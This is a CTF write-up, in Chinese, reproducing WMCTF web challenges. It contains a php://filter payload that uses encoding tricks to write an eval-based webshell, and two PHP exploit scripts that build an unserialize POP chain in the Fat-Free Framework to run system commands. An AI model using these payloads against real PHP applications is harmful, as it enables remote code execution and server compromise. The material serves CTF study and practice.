WMCTF几道Web题目复现
0x01 checkin
首先总结下php中的过滤器
php://filter/string.rot13
php://filter/string.toupper
php://filter/string.tolower
php://filter/string.strip_tags 可以去掉<?php xxxx?>
php://filter/convert.base64-decode
php://filter/convert.base64-encode
php://filter/zlib.inflate/resource 解压
php://filter/zlib.deflate/resource 压缩
php://filter/bzip2.compress/resource 压缩
php://filter/bzip2.decompress/resource 解压
php://filter/mcrypt.tripledes/resource= 加密
php://filter/mdecrypt.tripledes/resource= 解密
解法一:利用url二次编码
1 2 3 4 5 6 7 8 9 10 11 12
| <?php $char = 'U'; for ($ascii1 = 0; $ascii1 < 256; $ascii1++) { for ($ascii2 = 0; $ascii2 < 256; $ascii2++) { $aaa = '%'.$ascii1.'%'.$ascii2; if(urldecode(urldecode($aaa)) == $char){ echo $char.': '.$aaa; echo "\n"; } } } ?>
|
i——-%6%39
U—–%5%35
1
| content=php://filter/convert.%6%39conv.%5%35CS-2LE.%5%35CS-2BE|?<hp%20pvela$(P_SO[T11)];%20>?/resource=a.php
|

包含文件

解法二:利用临时文件包含

PHP-Is-The-Best
本题php版本为7.0.33,可以利用临时文件包含getshell。
0x02 webweb
trick1:当一个数组的第一个元素为类对象,第二个元素为之前类对象的函数名,可以通过数组名调用之前类的对应的方法,源码如下
1 2 3 4 5 6 7 8 9
| <?php class A { public function foo() { system("whoami"); } }
$array = array(new A(), "foo"); $array();
|

trick2:源码中的WS.php里面包含两个类,分别是WS类和Agent类,源码是利用autoload函数自动加载类,在new一个CLI\WS类时会通过autoload()函数包含CLI/WS.php,如果new一个CLI\Agent类时,因为不存在CLI/Agent.php,所以新建CLI\Agent类会失败。所以我们可以采用首先新建一个WS类,先包含CLI/WS.php,然后就可以成功新建Agent类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| protected function autoload($class) { $class=$this->fixslashes(ltrim($class,'\\')); $func=NULL; if (is_array($path=$this->hive['AUTOLOAD']) && isset($path[1]) && is_callable($path[1])) list($path,$func)=$path; foreach ($this->split($this->hive['PLUGINS'].';'.$path) as $auto) if ($func && is_file($file=$func($auto.$class).'.php') || is_file($file=$auto.$class.'.php') || is_file($file=$auto.strtolower($class).'.php') || is_file($file=strtolower($auto.$class).'.php')) return require($file); }
|
这里可以采用两种方式,第一种将Agent类作为WS类的一个属性的值,在反序列化时会先加载WS类,之后包含ws.php,然后就可以成功加载Agent类对象;第二种方法序列化处理一个数组,数组的第一个元素为ws类对象,第二个元素为Agent对象,在反序列化该数组序列化后的字符串时首先加载WS类,包含ws.php,之后就可以成功加载Agent对象。
接下来寻找pop链
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| <?php namespace DB\SQL { class Mapper { protected //! PDO wrapper $db, //! Database engine $engine, //! SQL table $source, //! SQL table (quoted) $table, //! Alias for SQL table $as, //! Last insert ID $_id, //! Defined fields $fields, //! Adhoc fields $adhoc = [], //! Dynamic properties $props = [];
public function __construct() { $this->adhoc = array("whoami" => ["expr" => "test"]); $this->db = $this; $this->props['quotekey'] = "system";
} }
} namespace CLI { use DB\SQL\Mapper;
class Agent { protected $server, $id, $socket, $flag, $verb, $uri, $headers; public function __construct() { $this->server->events = array("disconnect" => [new Mapper(), "find"]); }
} class WS { protected $events = []; public function __construct() { $this->events = new Agent(); } } } namespace { use CLI\WS;
print_r(serialize(new WS())); echo urlencode(serialize(new WS())); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| <?php namespace DB\SQL { class Mapper { protected //! PDO wrapper $db, //! Database engine $engine, //! SQL table $source, //! SQL table (quoted) $table, //! Alias for SQL table $as, //! Last insert ID $_id, //! Defined fields $fields, //! Adhoc fields $adhoc = [], //! Dynamic properties $props = [];
public function __construct() { $this->adhoc = array("whoami" => ["expr" => "test"]); $this->db = $this; $this->props['quotekey'] = "system";
} }
} namespace CLI { use DB\SQL\Mapper;
class Agent { protected $server, $id, $socket, $flag, $verb, $uri, $headers; public function __construct() { $this->server->events = array("disconnect" => [new Mapper(), "find"]); }
} class WS { } } namespace { use CLI\WS;
echo urlencode(serialize(array(new WS(), new CLI\Agent()))); }
|
